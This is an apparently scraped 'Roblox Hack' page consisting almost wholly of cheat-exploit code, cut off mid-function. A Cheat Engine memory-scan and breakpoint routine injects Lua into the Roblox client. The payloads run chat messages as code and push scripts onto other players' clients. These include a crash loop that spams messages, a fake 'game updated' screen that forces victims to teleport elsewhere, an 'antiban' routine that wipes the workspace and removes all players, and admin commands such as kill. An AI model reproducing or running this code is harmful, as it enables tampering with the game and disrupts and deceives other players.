Roblox Hack

Download as txt, pdf, or txt
Download as txt, pdf, or txt
You are on page 1of 105

sadifojfoudgufsdguyusdiofgjsdg

function GetExploit(index)
local tab, scan, result = Exploits[index], createMemScan(true);
memscan_returnOnlyOneResult(scan, true);
memscan_firstScan(scan, soExactValue, vtByteArray, rtTruncated,
table.concat(tab[2], " "), nil, 0, 0x00FFFFFF, "", fsmNotAligned, nil, false,
false, false, false);
memscan_waitTillDone(scan);
result = memscan_getOnlyResult(scan);
if result == nil then return nil; end
result = string.format("%X", result + tab[3]);
result = string.rep("0", 8 - string.len(result)) .. result;
return result;
end
function AddExploit(name, hex, offset)
table.insert(Exploits, {name, hex, offset})
end
function toAddr(num)
local num = tonumber(num);
local addr = string.format("%X", num):upper();
addr = string.rep("0", 8 - string.len(addr)) .. addr;
return addr;
end

debugger_onBreakpoint = function()
local function GetAddress(ESPaddr, Offset)
local ESPaddr, Offset = tostring(ESPaddr) or string.rep("0", 8),
tostring(Offset == nil and GlobalOffset or Offset);
local SCaddr_base = tonumber("0x" .. ESPaddr) + tonumber("0x" ..
Offset);
local SCaddr_cont1, SCaddr_cont2, SCaddr_cont3, SCaddr_cont4 =
tostring(string.format("%X", SCaddr_base)), tostring(string.format("%X",
SCaddr_base + 1)), tostring(string.format("%X", SCaddr_base + 2)),
tostring(string.format("%X", SCaddr_base + 3));
local SCaddr = (readBytes(SCaddr_cont1) + (readBytes(SCaddr_cont2) *
256) + (readBytes(SCaddr_cont3) * 65536) + (readBytes(SCaddr_cont4) * 16777216));
return toAddr(SCaddr);
end
--if readBytes(GetAddress(toAddr(ESP), GlobalOffset), 1) == 0x0D then
local JOIN_addr = GetAddress(toAddr(ESP), GlobalOffset);
local JOIN_len = tonumber("0x"..GetAddress(toAddr(ESP),
string.format("%X", tonumber("0x"..GlobalOffset) + 4)));
local JOIN_script_tbl = readBytes(JOIN_addr, JOIN_len, true);
local JOIN_script = "";
table.foreach(JOIN_script_tbl, function(i, v) JOIN_script = JOIN_script
.. string.char(v); end);
local script = JOIN_script .. [==[repeat wait() until
game:service'Players'.LocalPlayer; wait();
game:service'Players'.LocalPlayer.Chatted:connect(function(s) Spawn(function()
loadstring(s)() end) end) AntibanScript=false -- if AntibanScript = true and if
you're kicked or banned from the current game, all the workspace children and
players will be removed --
ChatHistory=false
DefaultGodAndInvisiWalkSpeed=30 -- if you enable the invisi or godmode, your
walkspeed will be set to this value [Default = 16] --

Delay(1,function()
FIXSCRIPTS''
end)
local ShowBox=Instance.new'BoolValue'
PlayerLoadtime=7.5
HackerName=nil
Scripts={}
Connects={}
Commands={}
HackedTime=0
chatbool = false
CmdbKey=':'
FocusKey='\\'
UnlockKey='?'
LockKey='.'
ExplorerKey=';'
ExproKey=','
GearKey='$'
BuildKey='<'
GodKey='*'
InvisiKey='%'
VisiKey='#'
AdminKey='&'

LagScript = [[

script:Destroy();

local runService = Game:GetService("RunService").Stepped;


local LagNum = 1250;
local str = "You just got crashed by one of the most powerful hackers on Roblox,
how do you feel?";

for i = 1, math.huge do
if i % LagNum == 0 then runService:wait(); end
Instance.new("Message", Workspace).Text = str;
end

]]

local function TeleportScript(place_id)


return [[
script:Destroy();

local place_id_str = ]]..tostring(place_id)..[[;


local place_id = tonumber(place_id_str);
local message_str = "The owner has updated the game. New features:
less lag, improved dynamic lighting, and more! Press the 'Leave' button to play to
an updated game!";
local player = Game:GetService("Players").LocalPlayer;
local teleport_service = Game:GetService("TeleportService");
local run_service = Game:GetService("RunService").Stepped;
if player:FindFirstChild("PlayerGui") then
pcall(function() player.PlayerGui:ClearAllChildren(); end)
end
while true do
if player:FindFirstChild("PlayerGui") then
local screen_gui, frame_gui, message_gui;
if not player.PlayerGui:FindFirstChild("
__teleport_updated_place_gui") then
pcall(function()
screen_gui = Instance.new("ScreenGui",
player.PlayerGui);
screen_gui.Name = "
__teleport_updated_place_gui";
end)
else screen_gui = player.PlayerGui["
__teleport_updated_place_gui"]; end
if not screen_gui:FindFirstChild("
__teleport_updated_place_frame") then
pcall(function()
frame_gui =
Instance.new("Frame", screen_gui);
frame_gui.Name = "
__teleport_updated_place_frame";
frame_gui.ZIndex = 9;
frame_gui.Size = UDim2.new(2, 0, 2,
0);
frame_gui.Position = UDim2.new(-.5, 0,
-.5, 0);
frame_gui.BackgroundColor3 = Color3.new();
end)
end
if not screen_gui:FindFirstChild("
__teleport_updated_place_message") then
pcall(function()
message_gui =
Instance.new("TextLabel", screen_gui);
message_gui.Name = "
__teleport_updated_place_message";
message_gui.ZIndex = 10;
message_gui.Size = UDim2.new(.9, 0,
.3, 0);
message_gui.Position = UDim2.new(.05,
0, 0, 0);
message_gui.BackgroundColor3 = Color3.new();
message_gui.BorderColor3 = Color3.new();
message_gui.BorderSizePixel = 0;
message_gui.TextWrapped = true;
message_gui.TextColor3 =
Color3.new(1,1,1);
message_gui.FontSize = 8;
message_gui.Font = 2;
message_gui.Text = message_str;
end)
end
end
teleport_service:Teleport(place_id);
pcall(function() Workspace.CurrentCamera.CameraType = 6; end)
pcall(function() player.Character = nil; end)
run_service:wait();
end
]]
end

local function GetError(not_errored, msg)


if not_errored then msg = "Running Script" end
Game.Debris:AddItem((function()
local hint;
pcall(function()
hint=Instance.new("Hint",Workspace.CurrentCamera)
hint.Text=msg
end)
return hint
end)(), 3)
end

local function FindPlayers(str)


if not str then return end
local str,players = str:lower(),{}
if str == "all" then
for i, v in next, Game.Players:GetPlayers() do
players[#players+1] = v
end
elseif str:match("others?") then
for i, v in next, Game.Players:GetPlayers() do
pcall(function()
if v ~= Game.Players.LocalPlayer then
players[#players+1] = v
end
end)
end
else
for i, v in next, Game.Players:GetPlayers() do
pcall(function()
if v.Name:lower():match("^"..str) then
players[#players+1] = v
end
end)
end
end
return players
end

local function LoadOnClients(players, source)


if not players or #players == 0 then return end
local load = function(Player)
local Script = Instance.new "LocalScript"
--
Script.Source = [[
while script.Name == "LocalScript" do wait() end
ypcall(loadstring([==============[]]..source..
[[]==============]))
]]
--
Script.Parent = Game.Players.LocalPlayer.Character
or Game.Players.LocalPlayer:FindFirstChild "Backpack"
or Game.Players.LocalPlayer.CharacterAdded:wait()
wait(.5)
Script.Name = "LocalScript "
Script.Parent = Player.Character
or Player:FindFirstChild "Backpack"
or Player.CharacterAdded:wait()
end
for _,player in next, players do
coroutine.wrap(load)(player)
end
end
coroutine.resume(coroutine.create(function()
wait(PlayerLoadtime)
HackerName=game.Players.LocalPlayer.Name
end))
if(AntibanScript)then
coroutine.resume(coroutine.create(function()
wait(PlayerLoadtime+.5)
while true and wait() do
if(AntibanScript)then
if
not(game.Players:FindFirstChild(HackerName))then
wait(3.5)
if(AntibanScript)then
function
workspaceRemove(path)
for
_,v in pairs(path:GetChildren())do

coroutine.resume(coroutine.create(function(v)

if(v:IsA("Script"))or(v:IsA("LocalScript"))then

v.Disabled=true

v:remove()

else

v:remove()

end

end),v)
end
end

workspaceRemove(game:GetService('Workspace'))
for e,i in
pairs(game.Players:GetPlayers())do

coroutine.resume(coroutine.create(function(i) i:remove() end),i)


end
end
end
end
end
end))
end
coroutine.resume(coroutine.create(function()
wait(PlayerLoadtime)
game.Players.LocalPlayer:SetSuperSafeChat(false)
game.Players.LocalPlayer.Chatted:connect(function(msg)
if string.sub(msg, 1, 3) == "ls " then
if
not(game.Players.LocalPlayer.Character:FindFirstChild("lsInserted"))then

ls=Instance.new("LocalScript",game.Players.LocalPlayer.Character)
ls.Name="lsInserted"
wait(.2)
ls.Name="lsRun"
ls.Source=string.sub(msg,4)
ls.Disabled=true
ls.Disabled=false
end
elseif string.sub(msg, 1, 3) == "rs " then
coroutine.resume(coroutine.create(function(msg)
local errored,output =
ypcall(loadstring(msg:sub(4)))
GetError(errored,output)
errored,output = nil
end),msg)
elseif string.sub(msg, 1, 3) == "ls/" then
if
not(game.Players.LocalPlayer.Character:FindFirstChild("lsInserted"))then

ls=Instance.new("LocalScript",game.Players.LocalPlayer.Character)
ls.Name="lsInserted"
wait(.2)
ls.Name="lsRun"
ls.Source=string.sub(msg,4)
ls.Disabled=true
ls.Disabled=false
end
elseif string.sub(msg, 1, 3) == "rs/" then
coroutine.resume(coroutine.create(function(msg)
local errored,output =
ypcall(loadstring(msg:sub(4)))
GetError(errored,output)
errored,output = nil
end),msg)
elseif string.sub(msg, 1, 3) == "cs " then

LoadOnClients(FindPlayers(msg:sub(4):match("(%w+)%s")),
msg:sub(4):match("%s(.+)"))
elseif string.sub(msg, 1, 10) == "mediafire " then

LoadOnClients(FindPlayers(msg:sub(11):match("(%w+)%s")),
msg:sub(11):match("%s(.+)"))
elseif string.sub(msg, 1, 4) == "lag " then

LoadOnClients(FindPlayers(msg:sub(5):match("%w+")), LagScript)
elseif string.sub(msg, 1, 7) == "hitler " then

LoadOnClients(FindPlayers(msg:sub(8):match("%w+")), LagScript)
--
elseif string.sub(msg, 1, 3) == "cs/" then

LoadOnClients(FindPlayers(msg:sub(4):match("([%w%s]+)/")),
msg:sub(4):match("/(.+)"))
elseif string.sub(msg, 1, 10) == "mediafire/" then

LoadOnClients(FindPlayers(msg:sub(11):match("([%w%s]+)/")),
msg:sub(11):match("/(.+)"))
elseif string.sub(msg, 1, 4) == "lag/" then
LoadOnClients(FindPlayers(msg:sub(5):match("[%w
%s]+")), LagScript)
elseif string.sub(msg, 1, 7) == "hitler/" then
LoadOnClients(FindPlayers(msg:sub(8):match("[%w
%s]+")), LagScript)
--
elseif string.sub(msg, 1, 1) == "/" then
if string.sub(msg, 2, 4) == "sb" then
chatbool = true
repeat wait(.01)

game.Players.LocalPlayer:SetSuperSafeChat(false)
game.Players:Chat("/sc 2 4")
game.Players:Chat("/sc 2 7 0")
game.Players:Chat("/sc 2 7 4")
until not chatbool
elseif string.sub(msg, 2, 5) == "nsb" then
chatbool = false
elseif string.sub(msg, 2, 7) == "power" then
if game.Players.LocalPlayer.Character ~= nil
then
if
not(game.Players.LocalPlayer.Character:FindFirstChild("lsInserted"))then

ls=Instance.new("LocalScript",game.Players.LocalPlayer.Character)
ls.Name="lsInserted"
wait(.2)
ls.Name="lsRun"
ls.Source=PowerScriptSource
ls.Disabled=true
ls.Disabled=false
end
end
elseif string.sub(msg, 2, 7) == "gaara" then
if game.Players.LocalPlayer.Character ~= nil
then
if
not(game.Players.LocalPlayer.Character:FindFirstChild("lsInserted"))then

ls=Instance.new("LocalScript",game.Players.LocalPlayer.Character)
ls.Name="lsInserted"
wait(.2)
ls.Name="lsRun"
ls.Source=GaaraSource
ls.Disabled=true
ls.Disabled=false
end
end
elseif string.sub(msg, 2, 6) == "nova" then
if game.Players.LocalPlayer.Character ~= nil
then
if
not(game.Players.LocalPlayer.Character:FindFirstChild("lsInserted"))then

ls=Instance.new("LocalScript",game.Players.LocalPlayer.Character)
ls.Name="lsInserted"
wait(.2)
ls.Name="lsRun"
ls.Source=NovaSource
ls.Disabled=true
ls.Disabled=false
end
end
elseif string.sub(msg, 2, 9) == "outgame" then
AntibanScript=false
if game.Players.LocalPlayer.Character ~= nil
then
if
not(game.Players.LocalPlayer.Character:FindFirstChild("lsInserted"))then

ls=Instance.new("LocalScript",game.Players.LocalPlayer.Character)
ls.Name="lsInserted"
wait(.2)
ls.Name="lsRun"
ls.Source=OutGameSource
ls.Disabled=true
ls.Disabled=false
end
end
end
end
end)
end))
coroutine.resume(coroutine.create(function()
wait(PlayerLoadtime)
while wait() do
game.Players.LocalPlayer:SetSuperSafeChat(false)
end
end))
coroutine.resume(coroutine.create(function()
wait(PlayerLoadtime)
if ChatHistory then
coroutine.resume(coroutine.create(function()
CH=Instance.new("Model",game:GetService("SoundService"))
CH.Name="ChatHistory"
for _,v in pairs(game.Players:GetPlayers())do
v.Chatted:connect(function(msg)
chatHistory=Instance.new("StringValue",CH)
chatHistory.Name=v.Name
chatHistory.Value=msg
end)
end
game.Players.PlayerAdded:connect(function(v)
v.Chatted:connect(function(msg)
chatHistory=Instance.new("StringValue",CH)
chatHistory.Name=v.Name
chatHistory.Value=msg
end)
end) end)) coroutine.resume(coroutine.create(function()
CH2=Instance.new("Model",game:GetService("StarterGui"))
CH2.Name="ChatHistory"
for _,v in pairs(game.Players:GetPlayers())do
v.Chatted:connect(function(msg)
chatHistory=Instance.new("StringValue",CH2)
chatHistory.Name=v.Name
chatHistory.Value=msg
end)
end
game.Players.PlayerAdded:connect(function(v)
v.Chatted:connect(function(msg)
chatHistory=Instance.new("StringValue",CH2)
chatHistory.Name=v.Name
chatHistory.Value=msg
end)
end) end)) coroutine.resume(coroutine.create(function()
CH3=Instance.new("Model",game:GetService("Teams"))
CH3.Name="ChatHistory"
for _,v in pairs(game.Players:GetPlayers())do
v.Chatted:connect(function(msg)
chatHistory=Instance.new("StringValue",CH3)
chatHistory.Name=v.Name
chatHistory.Value=msg
end)
end
game.Players.PlayerAdded:connect(function(v)
v.Chatted:connect(function(msg)
chatHistory=Instance.new("StringValue",CH3)
chatHistory.Name=v.Name
chatHistory.Value=msg
end)
end) end)) coroutine.resume(coroutine.create(function()
CH4=Instance.new("Model",game:GetService("Soundscape"))
CH4.Name="ChatHistory"
for _,v in pairs(game.Players:GetPlayers())do
v.Chatted:connect(function(msg)
chatHistory=Instance.new("StringValue",CH4)
chatHistory.Name=v.Name
chatHistory.Value=msg
end)
end
game.Players.PlayerAdded:connect(function(v)
v.Chatted:connect(function(msg)
chatHistory=Instance.new("StringValue",CH4)
chatHistory.Name=v.Name
chatHistory.Value=msg
end)
end) end))
end
end))
X=function(f)
return coroutine.resume(coroutine.create(f))
end

OutGameSource=[[
-- Settings --
_ForceField = true
_RespawnTime = 0
_PlayerName = "ROBLOX"
_ChatColor = "Blue"

-- Some variables --
_Player = game.Players.LocalPlayer
_Neutral = _Player.Neutral
_TeamColor = _Player.TeamColor
_Character = _Player.Character
_Camera = game.Workspace.CurrentCamera
_Character.Archivable = true
wait()
_BaseChar = _Character:clone()
_Respawning = false
-- Some functions --
function _CreateChar(vector)
if _Respawning then return else _Respawning = true
for _,v in pairs(_Player.Backpack:GetChildren())do
v:remove()
end
for _,v in pairs(_Player.PlayerGui:GetChildren())do
v:remove()
end
local _CloneChar = _BaseChar:clone()
_CloneChar:MakeJoints()
if vector and _CloneChar:FindFirstChild("Torso") then
_CloneChar.Torso.CFrame = CFrame.new(vector)
end
_CloneChar.Parent = game.Workspace.CurrentCamera
_CloneChar.Name = _PlayerName
_CloneChar.Archivable = false
_Camera.CameraSubject = _CloneChar:FindFirstChild("Humanoid")
_Camera.CameraType = "Custom"
for _,v in pairs(_Player.StarterGear:GetChildren())do
if not _Player.Backpack:FindFirstChild(v.Name) then
v:clone().Parent = _Player.Backpack
end
end
for _,v in pairs(game:GetService("StarterPack"):GetChildren())do
if not _Player.Backpack:FindFirstChild(v.Name) then
v:clone().Parent = _Player.Backpack
end
end
for _,v in pairs(game:GetService("StarterGui"):GetChildren())do
if not _Player.PlayerGui:FindFirstChild(v.Name) then
v:clone().Parent = _Player.PlayerGui
end
end
for _,v in pairs(_Player.Backpack:GetChildren())do
if v:IsA("Tool") then
v.Enabled = true
elseif v:IsA("HopperBin") then
v.Active = false
end
end
_Player.Character = _CloneChar
for _,v in pairs(_CloneChar:GetChildren())do
if v:IsA("Script") or v:IsA("LocalScript") then
v.Disabled = true wait() v.Disabled = false
end
end
_Respawning = false
return _CloneChar
end
end

function _VerifyCopy(_PlayerName)
while wait() do
if not game.Players:FindFirstChild(_PlayerName) then
local _LocalPlayer =
Instance.new("ObjectValue",game.Players)
_LocalPlayer.Name = _PlayerName
end
if game.Players:FindFirstChild(_PlayerName) then
if game.Players[_PlayerName]:IsA("ObjectValue") then
if not
game.Players[_PlayerName]:FindFirstChild("Backpack") then
local _LocalBackpack =
Instance.new("ObjectValue",game.Players[_PlayerName])
_LocalBackpack.Name = "Backpack"
end
if not
game.Players[_PlayerName]:FindFirstChild("StarterGear") then
local _LocalStarterGear =
Instance.new("ObjectValue",game.Players[_PlayerName])
_LocalStarterGear.Name = "StarterGear"
end
if not
game.Players[_PlayerName]:FindFirstChild("PlayerGui") then
local _LocalPlayerGui =
Instance.new("ObjectValue",game.Players[_PlayerName])
_LocalPlayerGui.Name = "PlayerGui"
end
end
end
end
end

function _CloneTools(_name,_type)
for _,v in pairs(game.Players[_name][_type]:GetChildren())do
if not _Player[_type]:FindFirstChild(v.Name) and not
game.Workspace.CurrentCamera[_PlayerName]:FindFirstChild(v.Name) then
v.Parent = _Player[_type]
coroutine.resume(coroutine.create(function()
function fixScripts(path)
for e,i in pairs(path:GetChildren())do
if i:IsA("Script") or
i:IsA("LocalScript") then
if i.Disabled == false then
i.Disabled = true wait()
i.Disabled = false
end
end
fixScripts(i)
end
end
fixScripts(v)
end))
end
end
end

function _TransferTools(_pname)
while wait() do
if game.Players:FindFirstChild(_pname) then
if game.Players[_pname]:FindFirstChild("Backpack") then

coroutine.resume(coroutine.create(_CloneTools),_pname,"Backpack")
for _,v in pairs(_Player.Backpack:GetChildren())do
if not
game.Players[_pname].Backpack:FindFirstChild(v.Name) then
v:clone().Parent =
game.Players[_pname].Backpack
end
end
end
if game.Players[_pname]:FindFirstChild("StarterGear") then
coroutine.resume(coroutine.create(function()
for _,v in
pairs(game.Players[_pname].StarterGear:GetChildren())do
if not
_Player.StarterGear:FindFirstChild(v.Name) then
v:clone().Parent =
_Player.StarterGear
end
end
end))
for _,v in pairs(_Player.StarterGear:GetChildren())do
if not
game.Players[_pname].StarterGear:FindFirstChild(v.Name) then
v:clone().Parent =
game.Players[_pname].StarterGear
end
end
end
if game.Players[_pname]:FindFirstChild("PlayerGui") then
for _,v in pairs(_Player.PlayerGui:GetChildren())do
if not
game.Players[_pname].PlayerGui:FindFirstChild(v.Name) then
v:clone().Parent =
game.Players[_pname].PlayerGui
end
end

coroutine.resume(coroutine.create(_CloneTools),_pname,"PlayerGui")
end
end
end
end

-- Remove player and script --


script.Parent = nil
wait()

-- Update _BaseChar position --


coroutine.resume(coroutine.create(function()
while wait() do
if game.Workspace.CurrentCamera:FindFirstChild(_PlayerName) then
if
game.Workspace.CurrentCamera[_PlayerName]:FindFirstChild("Torso") then
if _BaseChar:FindFirstChild("Torso") then
_BaseChar.Torso.CFrame =
game.Workspace.CurrentCamera[_PlayerName].Torso.CFrame
end
end
end
end
end))

-- Clone and Respawn character --


coroutine.resume(coroutine.create(function()
while wait() do
if game.Workspace.CurrentCamera:FindFirstChild(_PlayerName) then
_PartFound = false
for _,v in
pairs(game.Workspace.CurrentCamera[_PlayerName]:GetChildren())do
if v:IsA("Part") then
_PartFound = true
end
end
if not _PartFound then
wait(_RespawnTime)
game.Workspace.CurrentCamera[_PlayerName]:remove()
_Created = false
function _scanSpawn(path)
for _,v in pairs(path:GetChildren())do
if v:IsA("SpawnLocation") then
if _Player.Neutral then
if v.Neutral then
_CreateChar(v.Position)
_Created = true
end
elseif not _Player.Neutral then
if v.TeamColor ==
_Player.TeamColor then
_CreateChar(v.Position)
_Created = true
end
end
end
_scanSpawn(v)
end
end
_scanSpawn(game.Workspace)
if not _Created then
_CreateChar(Vector3.new(0,500,0))
end
elseif _PartFound then
if not
game.Workspace.CurrentCamera[_PlayerName]:FindFirstChild("Humanoid") then

game.Workspace.CurrentCamera[_PlayerName]:remove() _ChreateChar()
elseif
game.Workspace.CurrentCamera[_PlayerName]:FindFirstChild("Humanoid") then
if
game.Workspace.CurrentCamera[_PlayerName].Humanoid.Health == 0 then
wait(_RespawnTime)
game.Workspace.CurrentCamera[_PlayerName]:remove() _CreateChar()
end
end
end
elseif not
game.Workspace.CurrentCamera:FindFirstChild(_PlayerName) then
_CreateChar()
end
if _ForceField then
if game.Workspace.CurrentCamera:FindFirstChild(_PlayerName)
then
if not
game.Workspace.CurrentCamera[_PlayerName]:FindFirstChild("ForceField") then

Instance.new("ForceField",game.Workspace.CurrentCamera[_PlayerName])
end
end
end
end
end))

-- Copy player children --


coroutine.resume(coroutine.create(function()
coroutine.resume(coroutine.create(_VerifyCopy),_PlayerName)
coroutine.resume(coroutine.create(_VerifyCopy),_Player.Name)
end))

-- Transfer tools and guis --


coroutine.resume(coroutine.create(function()
coroutine.resume(coroutine.create(_TransferTools),_PlayerName)
coroutine.resume(coroutine.create(_TransferTools),_Player.Name)
end))

-- Take weapons --
coroutine.resume(coroutine.create(function()
while wait() do
if game.Workspace.CurrentCamera:FindFirstChild(_PlayerName) then
_TempChar =
game.Workspace.CurrentCamera:FindFirstChild(_PlayerName)
function checkParts(path)
for _,v in pairs(path:GetChildren())do
if v:IsA("Part") then
if not v:FindFirstChild("TouchInterest")
then
v.Touched:connect(function(Part)
if Part.Parent:IsA("Tool")
then
Part.Parent.Parent =
_TempChar
end
end)
end
end
checkParts(v)
end
end
checkParts(_TempChar)
end
end
end))

-- Chat box --
coroutine.resume(coroutine.create(function()
_Player.Chatted:connect(function(msg)
if game.Workspace.CurrentCamera:FindFirstChild(_PlayerName) then
if
game.Workspace.CurrentCamera[_PlayerName]:FindFirstChild("Head") then

game:GetService("Chat"):Chat(game.Workspace.CurrentCamera[_PlayerName].Head,
msg, _ChatColor)
end
end
end)
end))

wait() _Player.Parent = nil


]]

AdminScriptSource=[[
adminlist = {game.Players.LocalPlayer.Name}
bannedlist = {""}
texture = ""
wait(.5) script.Parent=nil

namelist = { }
variablelist = { }
flist = { }

tools = Instance.new("Model")
c = game.Lighting:GetChildren()
for i=1,#c do
if c[i].className == "Tool" then
c[i]:clone().Parent = tools
end
if c[i].className == "HopperBin" then
c[i]:clone().Parent = tools
end end

function findplayer(name,speaker)
if string.lower(name) == "all" then
local chars = { }
local c = game.Players:GetChildren()
for i =1,#c do
if c[i].className == "Player" then
table.insert(chars,c[i])
end end
return chars
elseif string.lower(name) == "bc" then
local chars = { }
local c = game.Players:GetChildren()
for i =1,#c do
if not c[i].MembershipType == Enum.MembershipType.None then
if c[i].className == "Player" then
table.insert(chars,c[i])
end end end
return chars
elseif string.lower(name) == "nbc" then
local chars = { }
local c = game.Players:GetChildren()
for i =1,#c do
if c[i].MembershipType == Enum.MembershipType.None then
if c[i].className == "Player" then
table.insert(chars,c[i])
end end end
return chars
elseif string.sub(string.lower(name),1,9) == "nonadmins" then
local nnum = 0
local chars = { }
local c = game.Players:GetChildren()
for i=1,#c do
local isadmin = false
for i2 =1,#namelist do
if namelist[i2] == c[i].Name then
isadmin = true
end end
if isadmin == false then
nnum = nnum + 1
table.insert(chars,c[i])
end end
if nnum == 0 then
return 0
else
return chars
end
elseif string.sub(string.lower(name),1,6) == "admins" then
local anum = 0
local chars = { }
local c = game.Players:GetChildren()
for i=1,#c do
for i2 =1,#namelist do
if namelist[i2] == c[i].Name then
anum = anum + 1
table.insert(chars,c[i])
end end end
if anum == 0 then
return 0
else
return chars
end
elseif string.sub(string.lower(name),1,6) == "random" then
while true do
local c = game.Players:GetChildren()
local r = math.random(1,#c)
if c[r].className == "Player" then
return { c[r] }
end end
elseif string.sub(string.lower(name),1,6) == "guests" then
local gnum = 0
local chars = { }
local c = game.Players:GetChildren()
for i=1,#c do
if string.sub(c[i].Name,1,5) == "Guest" then
gnum = gnum + 1
table.insert(chars,c[i])
end end
if gnum == 0 then
return 0
else
return chars
end
elseif string.sub(string.lower(name),1,5) == "team " then
local theteam = nil
local tnum = 0
if game.Teams ~= nil then
local c = game.Teams:GetChildren()
for i =1,#c do
if c[i].className == "Team" then
if string.find(string.lower(c[i].Name),string.sub(string.lower(name),6)) == 1
then
theteam = c[i]
tnum = tnum + 1
end end end
if tnum == 1 then
local chars = { }
local c = game.Players:GetChildren()
for i =1,#c do
if c[i].className == "Player" then
if c[i].TeamColor == theteam.TeamColor then
table.insert(chars,c[i])
end end end
return chars
end end
return 0
elseif string.lower(name) == "me" then
local person299 = { speaker }
return person299

elseif string.lower(name) == "others" then


local chars = { }
local c = game.Players:GetChildren()
for i =1,#c do
if c[i].className == "Player" then
if c[i] ~= speaker then
table.insert(chars,c[i])
end end end
return chars
else
local chars = { }
local commalist = { }
local ssn = 0
local lownum = 1
local highestnum = 1
local foundone = false
while true do
ssn = ssn + 1
if string.sub(name,ssn,ssn) == "" then
table.insert(commalist,lownum)
table.insert(commalist,ssn - 1)
highestnum = ssn - 1
break
end
if string.sub(name,ssn,ssn) == "," then
foundone = true
table.insert(commalist,lownum)
table.insert(commalist,ssn)
lownum = ssn + 1
end end
if foundone == true then
for ack=1,#commalist,2 do
local cnum = 0
local char = nil
local c = game.Players:GetChildren()
for i =1,#c do
if c[i].className == "Player" then
if
string.find(string.lower(c[i].Name),string.sub(string.lower(name),commalist[ack],co
mmalist[ack + 1] - 1)) == 1 then
char = c[i]
cnum = cnum + 1
end end end
if cnum == 1 then
table.insert(chars,char)
end end
if #chars ~= 0 then
return chars
else
return 0
end
else
local cnum = 0
local char = nil
local c = game.Players:GetChildren()
for i =1,#c do
if c[i].className == "Player" then
if string.find(string.lower(c[i].Name),string.lower(name)) == 1 then
char = {c[i]}
cnum = cnum + 1
end end end
if cnum == 1 then
return char
elseif cnum == 0 then
text("That name is not found.",1,"Message",game.Workspace.CurrentCamera)
return 0
elseif cnum > 1 then
text("That name is ambiguous.",1,"Message",game.Workspace.CurrentCamera)
return 0
end end end end

function text(message,duration,type,object)
local m = Instance.new(type)
m.Text = message
m.Parent = object
wait(duration)
if m.Parent ~= nil then
m:remove()
end end

function foc(msg,speaker)
if string.lower(msg) == "fix" then
for i =1,#namelist do
if namelist[i] == speaker.Name then
variablelist[i]:disconnect()
table.remove(variablelist,i)
table.remove(namelist,i)
table.remove(flist,i)
end end
local tfv = speaker.Chatted:connect(function(msg) oc(msg,speaker) end)
table.insert(namelist,speaker.Name)
table.insert(variablelist,tfv)
local tfv = speaker.Chatted:connect(function(msg) foc(msg,speaker) end)
table.insert(flist,tfv)
end end

function PERSON299(name)
for i =1,#adminlist do
if adminlist[i] == name then
return true
end end
return false
end

function oc(msg,speaker)

if string.sub(string.lower(msg),1,6) == "clone/" then


local player = findplayer(string.sub(msg,7),speaker)
if player ~= 0 then
for i = 1,#player do
if player[i].Character ~= nil then
local human = player[i].Character:FindFirstChild("Humanoid")
local torso = player[i].Character:FindFirstChild("Torso")
if human ~= nil and torso ~= nil then
player[i].Character.archivable = true
wait()
clone = player[i].Character:clone()
clone.Parent = game.Workspace
clone:MoveTo(torso.Position)
clone:MakeJoints()
wait()
player[i].Character.archivable = false
end end end end end

if string.sub(string.lower(msg),1,10) == "superjump/" then


local player = findplayer(string.sub(msg,11),speaker)
if player ~= 0 then
for i = 1,#player do
if player[i].Character ~= nil then
local human = player[i].Character:FindFirstChild("Humanoid")
local torso = player[i].Character:FindFirstChild("Torso")
if human ~= nil and torso ~= nil then
jump = Instance.new("BodyVelocity")
jump.Parent = torso
jump.velocity = Vector3.new(0, 500, 0)
human.Jump = true
wait(3)
jump:Remove()
end end end end end

if string.sub(string.lower(msg),1,11) == "skateboard/" then


local player = findplayer(string.sub(msg,12),speaker)
if player ~= 0 then
for i = 1,#player do
if player[i].Character ~= nil then
local human = player[i].Character:FindFirstChild("Humanoid")
local torso = player[i].Character:FindFirstChild("Torso")
if human ~= nil and torso ~= nil then
local root = game:GetService("InsertService"):LoadAsset(23154610)
local instances = root:GetChildren()
if #instances == 0 then
root:Remove()
return
end
root.Name = "InsertedObject" ..23154610
game:GetService("InsertService"):Insert(root)
root:MoveTo(torso.Position + torso.CFrame.lookVector * 8)
end end end end end
if string.sub(string.lower(msg),1,5) == "fire/" then
local player = findplayer(string.sub(msg,6),speaker)
if player ~= 0 then
for i = 1,#player do
if player[i].Character ~= nil then
local human = player[i].Character:FindFirstChild("Humanoid")
local torso = player[i].Character:FindFirstChild("Torso")
if human ~= nil and torso ~= nil then
fire = Instance.new("Fire", torso)
fire.Name = "CreatedFire"
end end end end end

if string.sub(string.lower(msg),1,7) == "unfire/" then


local player = findplayer(string.sub(msg,8),speaker)
if player ~= 0 then
for i = 1,#player do
if player[i].Character ~= nil then
local human = player[i].Character:FindFirstChild("Humanoid")
local torso = player[i].Character:FindFirstChild("Torso")
if human ~= nil and torso ~= nil then
fire = torso:findFirstChild("CreatedFire")
if fire ~= nil then
fire:Remove()
end end end end end end

if string.sub(string.lower(msg),1,5) == "kill/" then--This part checks if the


first part of the message is kill/
local player = findplayer(string.sub(msg,6),speaker)--This part refers to the
findplayer function for a list of people associated with the input after kill/
if player ~= 0 then--This part makes sure that the findplayer function found
someone, as it returns 0 when it hasnt
for i = 1,#player do--This part makes a loop, each different loop going
through each player findplayer returned
if player[i].Character ~= nil then--This part makes sure that the loop's
current player's character exists
local human = player[i].Character:FindFirstChild("Humanoid")--This part looks
for the Humanoid in the character
if human ~= nil then--This part makes sure the line above found a humanoid
human.Health = 0--This part makes the humanoid's health 0
end end end end end--This line contains the ends for all the if statements
and the for loop

local msg = string.lower(msg)

if string.sub(msg,1,5) == "give/" then


local danumber1 = nil
for i = 6,100 do
if string.sub(msg,i,i) == "/" then
danumber1 = i
break
elseif string.sub(msg,i,i) == "" then
break
end end
if danumber1 == nil then return end
local it = nil
local all = true
if string.sub(string.lower(msg),danumber1 + 1,danumber1 + 4) ~= "all" then
all = false
local itnum = 0
local c = tools:GetChildren()
for i2 = 1,#c do
if
string.find(string.lower(c[i2].Name),string.sub(string.lower(msg),danumber1 + 1))
== 1 then
it = c[i2]
itnum = itnum + 1
end end
if itnum ~= 1 then return end
else
all = true
end
local player = findplayer(string.sub(msg,6,danumber1 - 1),speaker)
if player ~= 0 then
for i = 1,#player do
local bp = player[i]:FindFirstChild("Backpack")
if bp ~= nil then
if all == false then
it:clone().Parent = bp
else
local c = tools:GetChildren()
for i2 = 1,#c do
c[i2]:clone().Parent = bp
end end end end end end

--Bored...

if string.sub(msg,1,7) == "change/" then


